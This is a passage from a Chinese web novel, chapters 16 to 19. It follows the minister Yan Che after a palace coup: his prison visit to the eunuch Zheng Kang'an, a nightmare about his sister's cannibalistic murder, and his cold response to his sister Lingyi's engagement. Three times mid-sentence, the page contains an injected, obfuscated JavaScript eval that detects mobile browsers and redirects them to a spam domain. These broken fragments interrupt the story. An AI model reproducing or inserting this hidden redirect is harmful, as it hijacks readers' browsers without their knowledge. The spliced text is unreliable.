他年轻的面容尚带惊惶,却在指尖触及那人衣袖时渐渐安定。 “臣等,恭迎陛下——” 山呼声里,染血晨曦穿透云层。 * 慈宁宫内,鎏金香炉吐出袅袅香烟。 昔日的太后,如今的太皇太后坐于上首,看向面前这个年轻的大学士。 “若非颜卿早日发现郑康安居心叵测,在陛下的丹药中做手脚,只怕我大周江山危矣。” 颜彻微微躬身:“阉党祸国,非一日之寒,臣不过是为社稷除害。” “叛党可都清理干净了?” “大皇子与三皇子党羽已尽数伏诛,一个不留。” 太皇太后顿了顿。 “那……那个人呢?” 颜彻缓缓道:“已押入天牢。” “按《大周律》,郑康安当除以凌迟极刑,臣已命人每日用参汤吊着他性命,定要让他活到行刑日。” 话音落,香炉“啪”地爆出一颗火星。 太皇太后望着那转瞬即逝的光亮,神色恍惚。 她何尝听不出他狠辣言语中的提醒。 “当年若不是因为我,他也不会入这深宫。可后来种种,早已不是哀家能掌控的了。” 颜彻默然静立。 太皇太后苦笑:“权力,就像这香炉里的火,烧着的时候觉着暖,烧久了,连骨头都能化成灰。” 颜彻缓缓开口:“人心易变。” 太皇太后疲惫地阖上眼。 “新帝年幼,哀家也力不从心,这朝中大局,有劳颜卿和诸位大人主持了。” “是,臣谨遵懿旨。” 他行礼告退,临走前,太皇太后叫住他。 “颜卿,替哀家去看看郑康安吧。” 天牢内。 此处阴冷幽暗,狱卒提灯走在前面引路,一路点头哈腰。 “此处湿滑,颜大人仔细着脚下的路。万一有个什么闪失,小人就是十条命也担待不起啊。” 他弓着身,将颜彻和赵福忠一路引至地牢最深处。 甬道尽头,铁栅栏后,郑康安静坐在角落处,散乱的白发间露出一张灰白的脸。 参汤的残渍在他嘴角凝结,像一道未干的血痕。 颜彻走到栅栏前,官袍扫过潮湿的地面。 “厂公这又是何苦?” 他缓缓开口,声音雅淡。 “若你当年肯像条老狗般爬出京城,说不定还能捡几块腐肉啃。” 他轻叹一声,语气流露出几分真切的不忍。 郑康安缓缓抬头。 一阵风过,火星从烧红的炭炉迸溅而出,噼啪作响。 跳跃的火光映上年轻郎君的面容,衬得他邪异俊美,幽幽如鬼魅。 他冷笑:“看来颜大人是来落井下石的。” “你以为自己赢了,以为自己大权在握了是吗?” 他死死盯着他,浑浊的眼球在深陷的眼窝中转动。 颜彻微笑,眼尾向鬓角挑去:“不是吗?” 郑康安嗤笑:“这世上,没有任何人永远立于不败之地。你哪怕将来当上首辅,当上摄政,也会落得和我一样的下场!” “今日是我,明日,就是你。” “或许吧。” 颜彻神情没有一丝波澜。 “不过,那也得等厂公的骨头在乱葬岗叫野狗啃干净之后了。” “哦对了,还有你东厂的那些小崽子,本官会把他们都送下去孝敬您。” 他的怜悯语气轻飘飘落在郑康安眼里。 他咬碎一口牙,唇角渗出了血。 “颜浔之!” 郑康安从阴影里暴起,枯爪般的五指擦过栅栏。 在颜彻面前三寸处戛然而止。 “你以为我不知道你的底细吗,你就是个疯子!十二岁就能面不改色吃下亲姐的怪物!” 赵福忠乍然听他提起此事,吓得手脚一软,灯笼“啪”地砸在地上。 火苗舔舐着灯罩,在地面投下扭曲光影。 郑康安的喉管里挤出毒蛇般的嘶鸣。 “当年禹王府的宴席,你父亲被凌虐致死,亲姐被当众烹杀,在鼎里哀嚎了足足三个时辰,而你!” “就坐在席间,冷眼旁观着这一切,甚至亲自吃下了那道美人羹!连眼睛都不曾眨一下!” 他面目狰狞,铁链在癫狂的拉扯中迸出火星。 “颜浔之,你就是个没人性的恶鬼!连地狱都容不下你,你根本不配活在这个世上!” 不知过了多久,咒骂声终于停息。 牢房内,粗重的喘息和铁链碰撞声交织响起,像是来自地府的诅咒。 “哗啦——哗啦——” 尖锐的金石声中,忽有轻笑声响起,带着漫不经心的优雅。 郑康安怒目而视:“颜大人,有什么好笑的!” 颜彻睥睨于他,眸中寒光流转,像是玩味,又像是嘲弄。 “你不觉得,让别人都体会体会自己的噩梦,是一件很痛快的事么?” 郑康安睁大了眼,仿佛看见了真正的恶鬼。 “知道为何赢的是我?” 颜彻俯眼含笑望着他。 一双狭长凤眼笼于阴影中,宛如冷玉上凿出的两道刻痕。 “因为,只有自己尝过地狱的滋味,才知道怎么把别人也拖下去。” “你说是吗,郑厂公?” 郑康安如遭雷击般僵立着。 颜彻却不再看他,拂袖而去,身后传来郑康安崩溃般的嚎叫。 赵福忠紧紧跟在主子身后,仿佛经历一场浩劫。 他张了张嘴想说些什么,可一见到身前那冷清的背影,就什么也说不出来了。 …… 颜彻记得,自己很久没梦见她了。 梦的开始很祥和,华贵的王府里,到处是身着锦绣的贵人们,珠光晃的人睁不开眼。 他们见了他,堆起满脸笑容唤他神童,言辞间尽是溢美之词。 颜彻看着面前推杯换盏的人们,无动于衷,径直走向正厅。 那里,主座上的王爷正笑吟吟朝他招手。 “来,颜神童,尝尝这碗美人羹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809200|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他低头,一双蒸熟的手盛在金碗里,泛着诡异的粉白色。 他始终沉默着,仿佛在等待什么。 直到,女人凄厉的喊叫声传来。 一个披头散发的女子跌跌撞撞冲进厅堂,发疯似的扑向那碗美人羹。 她抬起头的瞬间,他看清了那张扭曲的脸。 那是他再熟悉不过的人。 “阿彻!为什么不救我!我是你阿姐,是从小最疼你爱你的姐姐啊!” 女人声嘶力竭地朝他哭喊,空荡荡的手腕处,鲜血仍汩汩涌出。 残臂死死勾缠着他,鲜血洇红少年白净的衣袍。 对于一个尚未经世的少年来说,眼前的一幕足以令他吓得惊骇欲死。 可颜彻的神情却毫无波澜,目光温柔地看向她。 “可是,阿姐……” 他轻声细语,仿佛在哄一个孩子。 “你已经死了,怎么会出现在我面前呢?” 女子身躯一震,抬起眼,泪水凝固在惨白的脸颊上。 她茫然张了张嘴:“……我死了?” “对,在你被塞进蒸笼后,你就已经死了。和爹一样,永远离开我了。” 他屈指拭去她脸上的泪水,温柔的面容像是残忍。 在女子破碎的呜咽声中,颜彻轻轻将她拥入怀中。 血腥气充斥鼻尖,他恍若未觉,只更用力地收紧手臂。 “别怕,没关系的……” 他在她耳边低语,声音轻得如同叹息。 “一切都会过去。” 梦境一点点破碎,颜彻缓缓睁开眼。 入目的是漆黑的帐顶,他抬手,指尖碰到墙壁上挂着的柿子挂饰。 那是令颐亲手用琉璃做的,在黑夜里散发着细碎的光。 她明明自己怕黑,却总说这样哥哥就不怕黑了。 颜彻起身想要下床,身子忽然踉跄一下。 梦中的场景潮水般涌向脑海。 “唔!” 声响惊动了一直守在外面的赵福忠,他推门而入,被眼前的景象骇得怔在原地。 只见自家主子扶着床剧烈干呕,额前青筋暴起,大颗大颗的汗珠顺着脸颊滚落。 他手忙脚乱地扶住他摇晃的身躯,却被主子攥住手腕。 那温度低得吓人,简直不像是活人的体温。 “大人该不会又梦见——” 此前颜彻也有过这种情况,可那是很久之前的事了。 自从二姑娘来到他身边后,颜彻几乎很少再陷入这样的梦魇。 “无碍……” 颜彻脸色苍白到不像活人,轻轻推开赵福忠。 他用帕子擦了擦唇角,忽然低声笑了起来。 那笑像是从胸腔深处碾出来的,沙哑,破碎。 落入赵福忠耳中,激得他一阵毛骨悚然。 他心里五味杂陈。 这些年,他看着他如何温文尔雅地教导自己的妹妹,如何在朝堂上运筹帷幄,玩弄人心。 也见过他如现在这般,仿佛仿佛一具精致的躯壳突然裂开缝隙,整个人被撕成两半的模样。 “令颐……” 颜彻突然开口,声音嘶哑:“她可安好?” 赵福忠连忙应道:“大人放心,姑娘在南三所一切安好。” 颜彻轻轻颔首。 赵福忠尝试着劝道:“若大公子想见二姑娘,不妨明日就去向太皇太后请旨。” “自从二姑娘入宫,您可是没睡过一天好觉了。” 见颜彻默不作声,赵福忠自知失言,赶忙道:“老奴多嘴。” 颜彻的声音已恢复平静:“朝局未稳,不宜节外生枝。” 他不是不想见。 往常也有过分别一两载的时候,却从未像这次这般这么难熬。 十二岁后的每个夜晚,他孤身一人待在家中,每一分每一刻都像坐在那张血淋淋的宴席上。 黑暗里只有鼎沸的人声、父亲的哀嚎、姐姐的惨叫,还有他自己……吞咽的声音。 一口,一口。 后来,某一年除夕,有个小姑娘颤巍巍站在椅子上,一盏盏点亮花灯。 她回头冲他笑,暖红的光映在她脸上。 “哥哥,你看,这样就不黑了。” 那时他才知道,原来,红色不只是血的颜色啊。 入口的东西不只是腥的,也可以是甜的。 原来,长夜漫漫,做的梦也可以很安静。 不会再有女人的嚎叫,不会再有自己被沸腾蒸汽湮没的模样。 只有身侧均匀的呼吸声,还有自己哄她入睡的轻言细语。 温柔极了。 17. 第 17 章 南三宫内,朱红宫门紧闭。 世家子弟们已经在这里待了五六日,期间他们出不去,也没有任何外界的消息,仿佛与世隔绝。 令颐坐立不安,满脑子都是哥哥的安危,在殿内来回踱步。 “再这么走下去,地板都要被你磨穿了。” 燕珩懒洋洋地靠在窗棂边,嘴角噙着笑看她。 他一条腿曲起踩在窗台上,另一条腿随意垂落。 倒是一副云淡风轻的样子。 令颐瞪他:“你怎么还有心思说笑啊。” 她眼眶红得像小兔子,偏瞪圆了杏眼强撑气势。 像只受了惊吓强装凶悍的兔子,瞧着更可爱了。 燕珩笑着从窗台跃下,衣袂翻飞。 “你这么担心你哥哥,干脆出去打探打探消息。” 令颐眼眸一亮:“你有办法?” 可随即,她望着重兵把守的宫门,面露迟疑。 “外面都是禁军,怎么出去啊?” “我自有方法,跟我去就是了。” 他看了看令颐发打扮:“不过,你需要换身衣服,在这等我一会。” 不多时,燕珩去而复返,手里多了套宫女服饰。 “换上,我在外面等你。” 令颐“唔”了一声,乖乖去换衣服。 半柱香后,屏风后探出个毛茸茸的脑袋。 燕珩看着从屏风后挪出来的小姑娘,眉梢微挑。 宽大的宫女服套在她身上显得空荡荡的,更衬得她腰肢不堪一握。 头发扎成两个圆滚滚小团子,可爱到让人想抱走。 燕珩突然背过身去,肩膀可疑地抖动。 令颐问:“你笑什么啊?” “没什么。” 他拼尽全力才压住嘴角弧度:“走吧。” * 此时,巍峨宫阙的另一端。 金銮殿上,年轻的宣和帝坐于龙椅,龙袍稍显宽大。 目光时不时飘向御阶下那道绯红身影,眼神带着请示。 阶下众臣见到这一幕,各怀心思。 他们谁都清楚,这场宫变,最得意之人无疑是颜彻。 以雷霆手段拨乱反正,只手扶新帝登基,如今,权势凌驾于众官之上。 就在这微妙的寂静中,一御史出列参奏。 “陛下!臣要参内阁大学士颜浔之!” 众人的目光瞬间聚焦过来。 “颜大人假公济私,公报私仇!郑康安虽罪有应得,但颜大人竟敢公然在诏狱之中动用私刑,将其逼死!此乃藐视国法,践踏刑律!” 无数道目光瞬间聚焦在颜彻身上。 象征权势顶峰的绯红官袍穿在他颀长的身姿上,未显半分俗艳,反被衬出一种清贵绝伦、不染尘埃之感。 待御史话音落下,颜彻缓缓抬眸。 “张御史此言差矣。本官奉旨协查郑康安一案,昨日前往诏狱,不过是依循太皇太后旨意,与他聊了几句案情罢了。” 他放缓语调时,带着一种令人心悸的从容。 “郑康安自知罪孽深重,畏罪自戕,与本官何干?御史大人如此言之凿凿,可有实证?” 张御史老脸涨红,须发微颤。 “实证?颜大人真是巧舌如簧!诏狱守卫分明看见你屏退左右,独自进入郑康安牢房。你进去不久,郑康安便暴毙身亡,这难道不是铁证!” 他越说越激动,声音陡然拔高。 “难道颜大人几句话,就能让一个活生生的人甘愿赴死不成?简直是天大的笑话!” “哦?” 颜彻面上的笑意深了些。 “张大人若不信,改日,不妨试试。” 赤裸裸的威胁扑面而来。 张御史只觉得一股寒气瞬间冻结四肢百骸,脸色由红转白,再由白转青。 殿内一时死寂。 众人心中惊涛骇浪,皆不解颜彻为何敢在御前如此张扬跋扈。 唯有太皇太后心知肚明。 此事,本就是她的授意。 她开了口:“郑康安谋逆作乱,畏罪自戕,死有余辜。张御史关心国法是好,但捕风捉影,危言耸听,非御史本分。” “这件事,到此为止。” 她扬了扬手,宫人高声唱喏:“退——朝——” 颜彻在百官的目光下,步履沉稳踏出金銮殿。 没走多远,一阵急促的脚步声自身后甬道传来,伴着几声急切的呼唤。 “颜大人!颜大人请留步!” 颜彻回身,只见九公主萧明玥从御花园的方向小跑而来。 九公主跑到他近前,粉颊泛红。 “颜大人!真的是你!方才听嬷嬷说大人今日入宫了,我还不信呢!” 她声音脆生生的,带着皇家贵女特有的娇憨。 让他想起某个小姑娘。 颜彻脑海中瞬间闪过另一张脸,面上的冷峻悄然敛去。 他微微躬身:“见过九公主殿下。” 九公主连连摆手:“大人快快免礼!” “大人,您快去南三宫看看令颐姐姐吧!她……她可想死您了!您是不知道,这些天她是怎么过来的!” “令颐?” 颜彻问:“她可还安好?” “好?怎么会好!” 九公主拧着眉,小脸皱成一团。 “大人您是没瞧见,令颐姐姐这些日子简直是度日如年!吃不下睡不着,整个人都瘦了一圈。” “她每天都要跑到最靠近宫门那处回廊下,巴巴望着外面,一站就是好久好久。” “我昨日去看她,她也是心不在焉的,一遍遍问我有没有大人的消息。” 颜彻负在身后的手无声收紧。 九公主说得激动,眼睛都泛红了。 “大人,您既然平安无事,怎么还不去见她呀?您不知道她有多想您!” 颜彻面上的平静终于有了一丝裂痕。 “多谢九公主殿下告知,下官这就去接舍妹。” * 这厢,令颐和燕珩避开巡逻的宫人,悄悄来到西侧宫墙下。 令颐仰头望着高耸的宫墙,樱唇一点点张大。 “你说的方法……就是翻墙?” “怎么,颜大小姐连偷溜出府都不会?” 说罢,他动作利落地攀上墙头,回头看她,眼神促狭。 令颐当然没有翻过墙,她一向乖巧听话,连偷溜出府都没有。 但她还是嘴硬道:“谁、谁说我不会!” 说罢,她学着他的样子,一步步攀了上去。 “真乖。” 燕珩纵身体跃下,朝她伸出手:“跳下来吧,我接住你。” 上墙容易下墙难。 令颐望着两人多高的宫墙,吓得脸色发白,迟迟不敢挪一步。 燕珩在下面喊着:“再磨蹭,禁军可就回来了。” “啊?” 令颐闭上眼,手握成拳,拼命给自己鼓劲。 “你可以的你可以的……” 想到不知安危的浔之哥哥,她把心一横,闭眼往下一跃。 谁知,脚磕到凸起的砖块上。 她整个人失去平衡,直直往下跌。 “啊——” 这么高摔下去,鼻子会摔断的! 令颐已经来不及捂住脸,绝望闭上了眼睛。 预想中的疼痛没有到来。 她跌入一个带着冷香的怀抱,熟悉的香气息萦绕鼻尖。 她猛地睁眼,对上一双熟悉的凤眸。 “哥哥?!” 小姑娘愣在原地,圆圆的杏眼一点点睁大。 “哥哥,你怎么在这啊!” 这一声呼唤里裹着太多的情绪,惊喜,委屈,后怕,还有无尽的思念。 她带着哭腔扑进颜彻怀里,死死攥着他的衣服。 颜彻顿住,无奈笑了一声。 抬手揉了揉妹妹的发顶。 “方才在宫里见到了九公主,便想着过来寻你。” “朝堂诸事已定,我过几日就接你回家。” 他温柔安哄,低头看向怀里哭得抽搭搭的小姑娘。 自家乖巧的妹妹此时衣衫不整,不合身的宫女服松松垮垮套在身上。 袖口太长,只露出几根纤细的指尖,可怜巴巴揪着他的衣襟。 脸上脏兮兮的蹭了好几道灰痕,鼻尖还沾着墙头的尘土,发髻也凌乱不堪。 方才若不是他及时接住,这丫头怕是要摔个脸着地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817385|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更重要的是。 她,跟人学了爬墙? 颜彻目光瞥向一旁的少年。 令颐吸了吸鼻子,忽然觉得今日哥哥身上透着股陌生的寒意。 她抬起泪眼看向哥哥,身后的燕珩上前一步,规规矩矩行了个礼。 “原来是颜大人。” 燕珩世家出身,行礼的姿态挑不出错处,又带着几分少年人特有的张扬。 颜彻敛去眸光,将妹妹往身后带了带。 燕珩道:“在下燕珩,家父是——” “淮容侯世子。” 颜彻唇角噙着温文尔雅的笑意。 “三年前秋猎,世子一箭射中白鹿的风采,本官至今难忘。” 燕珩眼中闪过一丝诧异,随即笑道:“不想颜大人还记得这等小事。” 令颐绞着衣袖,还有些搞不清状况。 一旁的赵福忠却敏锐地嗅到了暗涌。 三年前那场秋猎,淮容侯故意为难颜彻,命其当众射箭。 他本以为颜彻是个手无缚鸡之力的书生,想借此机会羞辱于他。 结果颜彻大展手脚,狠狠打了他的脸。 如今他旧事重提,显然不是在表示友好之意。 颜彻道:“小侯爷说笑了,只是不知今日,为何会与舍妹出现在此处。” “在下记得,南三宫已被禁军戒严。” 令颐急急从颜彻身后探出脑袋。 “哥哥,是我担心你的安危想探听消息才求燕珩帮忙的!” 她不想连累别人,急于撇清燕珩的干系。 却未察觉这话听在兄长耳中,像是在维护外人。 “原来如此,是我的不是,让你担心了。” 他又看向燕珩。 “只是这宫墙重地,小侯爷带着未出阁的姑娘翻墙越户,若被人知晓,怕是不妥。” 令颐觉得今天的哥哥有些不一样。 不仅说话听着尖锐,眼神也透着淡漠疏离,给人一种深深的压迫感。 望着人时,眸中一片冰寒,没有丝毫温度。 两人很长时间没见,她不知道哥哥经历了什么,心里突然涌上一阵害怕。 久别重逢的喜悦渐渐被不安取代。 燕珩沉默片刻,忽然后退半步,郑重其事行了个大礼。 “颜大人明鉴,在下对令妹一片真心。今日冒昧,实属无奈。若大人允准,燕珩愿三媒六聘,迎娶令颐过门。” 令颐瞬间呆住,耳尖肉眼可见地红了起来。 赵福忠同样如遭雷劈,连忙扭头去看主子的脸色。 只见颜彻唇边仅存的一点笑意渐渐敛去,那双温润如玉的眸子此刻深如寒潭。 “燕小侯爷可知,贵府九年前那纸退婚书,现在还收在我颜家祠堂。” 令颐察觉出哥哥是真的生气了。 浔之哥哥很少拒绝人,他要么是微笑沉默,要么是引导对方改变主意,不会像这般斩钉截铁。 燕珩单膝跪地抱拳,姿态恭敬又不卑微。 “颜大人,九年前退婚是我燕家之过。但燕珩对令妹一片真心,只求大人成全。” 颜彻不为所动。 他将令颐护在身后,声音像是淬了冰:“家妹年纪尚小,怕是当不起侯府厚爱。” 两人正要转身,却听燕珩扬声道:“可令颐已和我定下终身!” 颜彻身形骤然顿住。 他缓缓转身,目光如刀般刮过燕珩,最后落在妹妹脸上。 “当真?” 令颐一向单纯,且从不在哥哥面前撒谎,咬着唇点了点头。 颜彻闭了闭眼,似乎在压下什么情绪。 “婚姻大事,需从长计议。” 他解开身上的大氅披到令颐身上,把妹妹裹得严严实实。 “令颐,你今日先和我回去。” 原本他并未打算即刻接走妹妹,此刻却改了主意。 燕珩刚想说颜彻不能随便把人带走,余光瞥到他腰间的鎏金令牌。 伸出的手在空中乍然顿住。 那是太皇太后亲赐的入宫令,非心腹重臣、功勋卓著者不可得。 持此令者,莫说带自家妹妹出宫,便是夜闯宫禁也有先斩后奏之权。 他一点点僵在原地。 18. 第 18 章 回府的路上,马车里的两人都有些沉默。 令颐缩在大氅里悄悄抬眼,看到哥哥略显疲惫的侧颜。 她很想问哥哥这么长时间他怎么样,这几日发生了什么事。 还有,今天为什么看着心情有些不好。 是颜彻先开了口。 “圣上驾崩,这几日新帝登基,京城局势不稳,你一个人待在府里尽量不要出去。” “朝堂上诸事繁多,我大概没办法抽身,待过几日再好好陪你。” 令颐懵懵点头:“没事的哥哥,公事要紧。” “嗯。” 马车转过街角,窗外飘来阵阵食物香气。 令颐往外张望。 往日繁华的街道如今大半店铺都紧闭着门,只有零星几家食肆还在营业。 颜彻注意到妹妹的小动作,问她:“饿么?” 令颐点头:“饿。” 颜彻转头对车外的赵福忠吩咐:“买点二姑娘喜欢吃的。” “是。” 不多时,赵福忠捧着油纸包回来。 热腾腾的紫米奶酪饼散发着甜香,烤鸡夹饼外酥里嫩,金黄的饼皮上还滋滋冒着油花。 令颐好久没吃宫外的东西了,眼睛一亮,拿着啃了好几口。 她甜甜道:“谢谢哥哥!” 颜彻瞧她这副贪吃的模样,眼神渐渐柔和下来。 取出帕子,轻轻擦去妹妹嘴角的碎屑。 “慢些,没人跟你抢。” “别吃太多,晚上还有晚膳,都是你爱吃的,” 令颐幸福眯起了眼:“哥哥最好啦!” 回府后,颜彻将令牌交给赵福忠,吩咐他把二姑娘的行李带回来。 待赵福忠领命而去后,颜彻掀袍坐于主座。 “没有什么想跟哥哥说的?” 令颐正兔子嚼草一样啃饼,闻言默默放下了手中食物。 “嗯……刚才阿珩已经说了,令颐确实答应要嫁给他。” “哥哥教过我,人不能言而无信……” 颜彻微笑着问:“阿珩?” 令颐羞赧低下头。 “是他让我这么喊他的,说夫妻间应该有不一样的称谓。” 颜彻听她一口一个夫妻,唇边笑意渐浓。 “他还教了你什么?” 令颐掰着指头想了想。 “他还说,要我多亲他,抱他,只能给她一个人欺负,不能跟别的男子说话……” 颜彻静静听她说着。 待令颐说完,他平静开口:“你年纪尚小,许多事不是表面这般简单。婚姻大事,更非两情相悦就能定下。” “眼下朝局未稳,待我将这些琐事料理干净,再议此事不迟。” 令颐乖巧点头,哥哥一向比她想的周到,她自然愿意听。 “那哥哥我先回去更衣了。” 颜彻颔首。 令颐一路小跑回到明兰院,迫不及待扑到自己的床上。 “终于回来了,我好想你啊床……” 她抱着软枕在床上打了个滚,脸埋在柔软的锦被间深深吸了一口气。 还是香喷喷的。 丫鬟们捧着洗漱用具进来,见到主子回来,她们脸上都是喜色。 “姑娘可算回来了,您不在的这些日子,奴婢们每日都要打扫三遍,瓶子里的花也天天换新的,就盼着您回来呢。” 另一个着葱绿衫子的侍女道:“姑娘不知,大公子晨起总要绕到咱院门口站一会呢。” 令颐脸上忽然有些发热,抱着软枕弱弱道:“哥哥……也很想我吗?” “当然了,大公子明面上不说,实则心里很思念姑娘呢。” 令颐“唔”了一声,心里涌上一阵惊喜。 可转瞬她就冷静了下来。 毕竟颜彻对她一直都是温和中带一点冷淡,每次都是她想念哥哥多一些。 而且,这次她回来,哥哥虽然面上不显,可她能感觉到他很生气。 她知道是因为她自作主张答应了燕珩的婚事,可她也是为了哥哥好啊,若是能与淮容侯府结亲,对哥哥在朝中处境定有助益…… “诶呀,好烦呐……” 令颐垂下打蔫的脑袋,把脸埋进软枕。 罢了,不想那么多了。 她把枕头一扔:“备水,我想沐浴。” 当晚,颜彻踏入明兰院的时候,令颐已经用完膳准备歇下了。 她倚在暖阁的熏笼旁,一边烘干头发一边翻看话本。 小脸在灯光下更加莹润可爱,湿发柔柔垂落,在熏笼的热气里蒸腾出淡淡茉莉香。 见哥哥进来,她裹了裹身上的大氅起身。 “哥哥?这么晚了你怎么来了?” 说实话,她现在看见哥哥心里有些紧张。 “有些话想问你。” 芳菲和晴雪此时已经从宫里回来,忙添了盏茶。 茶烟袅袅中,颜彻掀袍坐在圈椅上。 他指尖摩挲着青瓷盏沿,目光扫过两个侍女,声音沉静似水:“二姑娘在宫里这些日子有劳你们二位,赵管家备了赏赐,明日去领便是。” 晴雪喜得就要行礼,却被芳菲悄悄拽住衣袖。 两人福了福身:“伺候姑娘是奴婢们的本分。” 颜彻问:“二姑娘在宫中身体可好?” 回话的是芳菲:“回大公子,姑娘在宫里刚开始有些不适应,入冬那阵染了两次风寒,幸好有燕小侯爷照料才好得快一些。” 芳菲说罢突然意识到有些不妥,连忙道:“奴婢失言。” 晴雪接着她的话说:“大公子不知,燕小侯爷虽为人轻浮,姑娘病时却日日遣人送药,连太医都没这么上心。” 令颐在一旁猛咳嗽,小脸憋得通红。 晴雪满脸促狭:“奴婢多嘴了。” 颜彻微微一笑。 “燕小侯爷,倒是个体贴的。” 他问:“二姑娘的倚梦症可有好转?” 晴雪回道:“多亏九公主照料,给姑娘拨了间单独的殿室,倒也算清净。” “只是宫里到底不比府上,大公子入宫前给姑娘准备了不少药物和安眠香,可都不管用,姑娘有回梦魇惊醒,还哭着唤哥哥。” 令颐脸颊绯红:“胡说什么,我哪有……” 抬眼见兄长凝视的目光,她脑袋渐低。 “哥哥,我的身体已经好很多了,在宫里这么长时间都没事,不用太担心我。” 她低声嘟囔:“而且,我不可能一直缠着哥哥的……” “为何这么说?” 小姑娘抬起水雾氤氲的眸子,嘴角弯出两个酒窝。 “因为,令颐总要嫁人的呀。” 她故意让尾音上扬,像小时候撒娇那样。 可这次,哥哥却没有像之前无数次那样,无奈又宠溺地看着她,温柔揉她的小脑袋。 良久,颜彻轻声道:“好,我知道了。” “令颐,我们兄妹多年,若你想嫁人,哥哥会帮你安排好一切。” “浔之哥哥……” 她下意识揪住兄长的衣袖,轻轻晃了晃。 颜彻倾身,掌心贴上她微凉的脸颊。 “不早了,早些睡吧。” 令颐满脸乖巧:“嗯嗯,哥哥也早些休息。” 颜彻收回手,起身离开。 令颐张了张嘴还想说什么,却见颜彻的身影已经消失在了转角。 廊檐下,灯笼在雪夜里摇晃。 男子颀长的身影在原地伫立良久。 “想嫁人么……” 他低眸一笑,狭长眼尾划开优雅弧线,漆黑的眼底比冰雪更冷。 远处,碎雪压折枯枝,“啪”地一声坠落。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵福忠偷眼望去,只见主子唇角挂着一抹若有似无的笑意。 他擦了擦额头的冷汗。 自颜彻执掌朝堂以来,身上那股凌厉的气势愈发逼人,一个小小的举动都令人感到莫名的战栗和恐惧。 赵福忠不自觉弯了弯腰,仿佛只有这样俯首的姿态才能稍作缓解那股压迫感。 颜彻将东西递还,并未回应请帖之事,只淡淡问:“二姑娘这几日如何?” “二姑娘这几日一直待在府里,除了习字就是作画。” “昨日老奴送茶点时,听二姑娘对着窗外叹气,说有些闷得慌,想出去走走。” 颜彻略一沉吟。 “京城局势已稳,明日带她去同文馆吧。” “多带几个侍卫。” “老奴明白。” 赵福忠正要退下,忽又听颜彻道:“让芳菲和晴雪来见我。” 不多时,两名侍女低眉走进书房,盈盈下拜:“见过大公子。” 颜彻嗓音冷冽:“二姑娘和燕小侯爷,在宫里是怎么回事?” 两人对视一眼,将两人的事情全盘托出。 颜彻一向城府极深,她们虽摸不准大公子的对此事的态度,却知道不能在他面前有任何隐瞒。 待两人说完,颜彻仍像之前那样未置一词。 “你们觉得,二姑娘和这位燕小侯爷在一起时,状态如何?” 芳菲斟酌着话语:“回大人,二姑娘自认识小侯爷后,性子活泼了些。” 晴雪则更激动些:“是啊是啊,在您面前二姑娘总是乖巧温顺,可和小侯爷在一处时,却会笑会闹,甚至懂些男女之事了。” 话音落下,书房内骤然一静。 “如此说来,倒是一桩良缘。” 男子闭上眼,修长的手指一下一下轻叩桌面。 19. 第 19 章 令颐得知自己可以出门,欢喜得连午膳都未用几口,迫不及待去了同文馆。 京城骤然戒严,祝颂然还有很多学生都被困在了同文馆。 如今再见到令颐,竟有种恍若隔世之感。 祝颂然拉着令颐的手,将她上下仔细打量着。 “我听说宫里闹了兵变,你在宫中还好吗?可有受伤?” 宋嘉策摇着折扇站在一旁,脸上乐呵呵挂着笑。 “你是不知道,你师姐前段时间担心坏了,几宿几宿地没合眼,人都瘦了一圈。” “幸好颜先生派人传来消息说你安然无恙,否则她怕是要急出病来。” 令颐眼睛红红的。 “师姐师兄放心,我在宫里一切都好,我也很想你们。” 祝颂然拿帕子擦了擦眼角:“那就好那就好……” 厢房内,董大娘给几人备了一桌精致的茶点,三人围坐在一起说了许多体己话。 说着说着,祝颂然神色间显出几分迟疑。 “令颐,师姐有话要问你。” 一向爽利的师姐难得露出踌躇之色,令颐放下茶饼直了直身子,双手乖乖放在膝上。 “嗯嗯,师姐你说。” 祝颂然试探着问:“你羡文师兄前几日在世家公子们间听到些风声,说是……颜府和淮容侯府要结亲?” 令颐心里一惊,弱弱道:“啊,知道的这么快吗……” 话一出口,她便懊恼地咬住下唇。 这副情态看在祝颂然和宋嘉策眼中,答案已是不言自明。 宋嘉策一拍扇子,一副邀功的样子:“师姐,我都说了没骗你,你看!” 被祝颂然瞪了一眼后,他做了个封嘴的动作。 祝颂然转向令颐:“令颐,这是你的终身大事,你可想好了?且不说你们两家先前的恩怨,你……当真中意那位小侯爷吗?” 令颐怔了怔,脑海里想起自己和燕珩相处的画面。 “师姐,我觉得,自己并不讨厌他……” 她听见自己这样说,像是说给自己听。 但是,好像也没有喜欢。 或者说,总感觉哪里少了点什么。 不像待在哥哥身边那样,光是闻到他身上淡淡的冷香,整颗心就安定下来。 她可以任性撒娇,可以无理取闹,即便相对无言,什么都不做,心里也是满的。 只要看到哥哥心里就欢喜得不得了,心里也总想着他,惦记着他。 如果可以,她不想嫁人,想就这样一直待在哥哥身边。 可是…… “师姐,其实……我觉得若是能帮到哥哥,这门亲事也未尝不可……” 